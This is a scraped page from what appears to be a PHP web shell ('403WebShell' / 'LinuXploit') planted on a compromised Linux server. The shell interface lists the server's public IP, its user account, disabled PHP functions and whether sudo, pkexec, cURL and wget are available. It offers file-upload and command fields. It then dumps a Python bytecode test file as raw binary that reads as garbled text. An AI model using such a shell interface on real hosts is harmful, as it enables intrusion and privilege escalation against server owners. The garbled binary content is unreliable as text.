Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_wait3.cpython-310.pyc
o

�9j9�@s�dZddlZddlZddlZddlZddlZddlmZddlm	Z	e
ed�s,e�d��e
ed�s6e�d��Gd	d
�d
e�Zdd�Z
ed
krLe��dSdS)z/This test checks for correct wait3() behavior.
�N)�ForkWait)�support�forkzos.fork not defined�wait3zos.wait3 not definedc@seZdZdd�Zdd�ZdS)�	Wait3TestcCsxt��tj}t��|kr&t�tj�\}}}||krnt�d�t��|ks
|�||�|�t�	|�|�|�
|�dS)Ng�������?)�time�	monotonicr�
SHORT_TIMEOUT�osr�WNOHANG�sleep�assertEqual�waitstatus_to_exitcode�
assertTrue)�self�cpid�exitcode�deadline�spid�status�rusage�r�&/usr/lib/python3.10/test/test_wait3.py�	wait_impls
�zWait3Test.wait_implcCs�tjddg}tj|tjd�}z)t�tj�\}}}|�d|�|�d|�|�dt	|��W|j
��|��dS|j
��|��w)Nz-czimport sys; sys.stdin.read())�stdinr)
�sys�
executable�
subprocess�Popen�PIPEr
rrr
�sumr�close�wait)r�args�proc�pidrrrrr�test_wait3_rusage_initialized$s

�
z'Wait3Test.test_wait3_rusage_initializedN)�__name__�
__module__�__qualname__rr&rrrrrsrcCst��dS)N)r�
reap_childrenrrrr�tearDownModule4sr+�__main__)�__doc__r
rrr�unittest�test.fork_waitr�testr�hasattr�SkipTestrr+r'�mainrrrr�<module>s"



"�

Youez - 2016 - github.com/yon3zu
LinuXploit